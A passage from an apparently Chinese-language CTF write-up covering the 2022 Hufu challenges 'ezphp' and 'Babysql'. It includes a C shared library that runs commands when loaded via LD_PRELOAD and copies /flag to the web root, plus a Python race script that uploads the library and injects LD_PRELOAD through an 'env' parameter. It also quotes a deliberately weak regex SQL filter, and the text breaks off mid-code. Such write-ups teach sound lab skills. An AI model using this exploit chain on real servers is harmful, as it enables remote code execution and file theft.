<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="ln">4</span><span class="cl">
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="nf">__attribute__</span> <span class="p">((</span><span class="n">__constructor__</span><span class="p">))</span> <span class="kt">void</span> <span class="nf">preload</span> <span class="p">(</span><span class="kt">void</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl">  <span class="nf">unsetenv</span><span class="p">(</span><span class="s">&#34;LD_PRELOAD&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl">  <span class="nf">system</span><span class="p">(</span><span class="s">&#34;id&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl">  <span class="nf">system</span><span class="p">(</span><span class="s">&#34;cat /flag &gt; /var/www/html/flag&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">9</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>注意，在代码里加许多无用代码，我加了两万行的</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">a</span><span class="o">=</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="o">+</span><span class="mi">0</span><span class="p">;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>如图</p>
<p><img
  src="/b87bf4/2022hufu_ctf_ezphp_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1920" height="1030"
/>
</p>
<p>使用以下命令编译生成so文件</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">gcc -shared -fPIC hook_exp.c -o hook_exp.so</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>后来生成的恶意so文件有163kb</p>
<p>接下来就是竞争脚本，注意url和恶意so文件的路径。</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">_thread</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">f</span><span class="o">=</span><span class="nb">open</span><span class="p">(</span><span class="s2">&#34;hook_exp.so&#34;</span><span class="p">,</span><span class="s1">&#39;rb&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">data</span><span class="o">=</span><span class="n">f</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">url</span><span class="o">=</span><span class="s2">&#34;http://localhost:12333/&#34;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="k">def</span> <span class="nf">upload</span><span class="p">():</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;start upload&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="o">+</span><span class="s2">&#34;index.php&#34;</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="k">def</span> <span class="nf">preload</span><span class="p">(</span><span class="n">fd</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;start ld_preload&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="k">for</span> <span class="n">pid</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span><span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">            <span class="n">file</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;/proc/</span><span class="si">{</span><span class="n">pid</span><span class="si">}</span><span class="s1">/fd/</span><span class="si">{</span><span class="n">fd</span><span class="si">}</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">            <span class="c1"># print(url+f&#34;index.php?env=LD_PRELOAD={file}&#34;)</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">            <span class="n">resp</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="o">+</span><span class="sa">f</span><span class="s2">&#34;index.php?env=LD_PRELOAD=</span><span class="si">{</span><span class="n">file</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">            <span class="c1"># print(resp.text)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">            <span class="k">if</span> <span class="s1">&#39;uid&#39;</span> <span class="ow">in</span> <span class="n">resp</span><span class="o">.</span><span class="n">text</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">                <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;finished&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">                <span class="n">exit</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="n">_thread</span><span class="o">.</span><span class="n">start_new_thread</span><span class="p">(</span><span class="n">upload</span><span class="p">,</span> <span class="p">())</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="k">for</span> <span class="n">fd</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">20</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">        <span class="n">_thread</span><span class="o">.</span><span class="n">start_new_thread</span><span class="p">(</span><span class="n">preload</span><span class="p">,(</span><span class="n">fd</span><span class="p">,))</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;error&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">    <span class="k">pass</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>当脚本运行出现finished，直接url访问、flag就会自动下载flag</p>
<h2 id="2babysql">2、Babysql<a class="anchor" href="#2babysql">#</a></h2>
<p>这里直接搬运Jacko师傅的，我没搞出来</p>
<p>hint.md</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">```</span><span class="k">sql</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">CREATE</span><span class="w"> </span><span class="k">TABLE</span><span class="w"> </span><span class="o">`</span><span class="n">auth</span><span class="o">`</span><span class="w"> </span><span class="p">(</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="w">  </span><span class="o">`</span><span class="n">id</span><span class="o">`</span><span class="w"> </span><span class="nb">int</span><span class="w"> </span><span class="k">NOT</span><span class="w"> </span><span class="k">NULL</span><span class="w"> </span><span class="n">AUTO_INCREMENT</span><span class="p">,</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="w">  </span><span class="o">`</span><span class="n">username</span><span class="o">`</span><span class="w"> </span><span class="nb">varchar</span><span class="p">(</span><span class="mi">32</span><span class="p">)</span><span class="w"> </span><span class="k">NOT</span><span class="w"> </span><span class="k">NULL</span><span class="p">,</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="w">  </span><span class="o">`</span><span class="n">password</span><span class="o">`</span><span class="w"> </span><span class="nb">varchar</span><span class="p">(</span><span class="mi">32</span><span class="p">)</span><span class="w"> </span><span class="k">NOT</span><span class="w"> </span><span class="k">NULL</span><span class="p">,</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="w">  </span><span class="k">PRIMARY</span><span class="w"> </span><span class="k">KEY</span><span class="w"> </span><span class="p">(</span><span class="o">`</span><span class="n">id</span><span class="o">`</span><span class="p">),</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="w">  </span><span class="k">UNIQUE</span><span class="w"> </span><span class="k">KEY</span><span class="w"> </span><span class="o">`</span><span class="n">auth_username_uindex</span><span class="o">`</span><span class="w"> </span><span class="p">(</span><span class="o">`</span><span class="n">username</span><span class="o">`</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="p">)</span><span class="w"> </span><span class="n">ENGINE</span><span class="o">=</span><span class="n">InnoDB</span><span class="w"> </span><span class="n">AUTO_INCREMENT</span><span class="o">=</span><span class="mi">2</span><span class="w"> </span><span class="k">DEFAULT</span><span class="w"> </span><span class="n">CHARSET</span><span class="o">=</span><span class="n">utf8mb4</span><span class="w"> </span><span class="k">COLLATE</span><span class="o">=</span><span class="n">utf8mb4_0900_ai_ci</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="o">```</span><span class="w">
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="o">```</span><span class="n">js</span><span class="w">
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">import</span><span class="w"> </span><span class="err">{</span><span class="w"> </span><span class="n">Injectable</span><span class="w"> </span><span class="err">}</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="s1">&#39;@nestjs/common&#39;</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">import</span><span class="w"> </span><span class="err">{</span><span class="w"> </span><span class="n">ConnectionProvider</span><span class="w"> </span><span class="err">}</span><span class="w"> </span><span class="k">from</span><span class="w"> </span><span class="s1">&#39;../database/connection.provider&#39;</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">export</span><span class="w"> </span><span class="k">class</span><span class="w"> </span><span class="k">User</span><span class="w"> </span><span class="err">{</span><span class="w">
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="w">  </span><span class="n">id</span><span class="p">:</span><span class="w"> </span><span class="nb">number</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="w">  </span><span class="n">username</span><span class="p">:</span><span class="w"> </span><span class="n">string</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="err">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="k">function</span><span class="w"> </span><span class="n">safe</span><span class="p">(</span><span class="n">str</span><span class="p">:</span><span class="w"> </span><span class="n">string</span><span class="p">):</span><span class="w"> </span><span class="n">string</span><span class="w"> </span><span class="err">{</span><span class="w">
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="w">  </span><span class="n">const</span><span class="w"> </span><span class="n">r</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">str</span><span class="w">
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="w">    </span><span class="p">.</span><span class="k">replace</span><span class="p">(</span><span class="o">/</span><span class="p">[</span><span class="err">\</span><span class="n">s</span><span class="p">,()</span><span class="o">#</span><span class="p">;</span><span class="o">*</span><span class="err">\</span><span class="o">-</span><span class="p">]</span><span class="o">/</span><span class="k">g</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;&#39;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="w">    </span><span class="p">.</span><span class="k">replace</span><span class="p">(</span><span class="o">/^</span><span class="p">.</span><span class="o">*</span><span class="p">(</span><span class="o">?=</span><span class="k">union</span><span class="o">|</span><span class="nb">binary</span><span class="p">).</span><span class="o">*</span><span class="err">$</span><span class="o">/</span><span class="n">gi</span><span class="p">,</span><span class="w"> </span><span class="s1">&#39;&#39;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="w">    </span><span class="p">.</span><span class="n">toString</span><span class="p">();</span><span class="w">
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="w">  </span><span class="k">return</span><span class="w"> </span><span class="n">r</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="err">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="o">@</span><span class="n">Injectable</span><span class="p">()</span><span class="w">
</span></span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="n">export</span><span class="w"> </span><span class="k">class</span><span class="w"> </span><span class="n">AuthService</span><span class="w"> </span><span class="err">{</span><span class="w">
</span></span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="w">  </span><span class="k">constructor</span><span class="p">(</span><span class="n">private</span><span class="w"> </span><span class="n">connectionProvider</span><span class="p">:</span><span class="w"> </span><span class="n">ConnectionProvider</span><span class="p">)</span><span class="w"> </span><span class="err">{}</span><span class="w">
</span></span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="w">  </span><span class="n">async</span><span class="w"> </span><span class="n">validateUser</span><span class="p">(</span><span class="n">username</span><span class="p">:</span><span class="w"> </span><span class="n">string</span><span class="p">,</span><span class="w"> </span><span class="n">password</span><span class="p">:</span><span class="w"> </span><span class="n">string</span><span class="p">):</span><span class="w"> </span><span class="n">Promise</span><span class="o">&lt;</span><span class="k">User</span><span class="o">&gt;</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="k">null</span><span class="w"> </span><span class="err">{</span><span class="w">
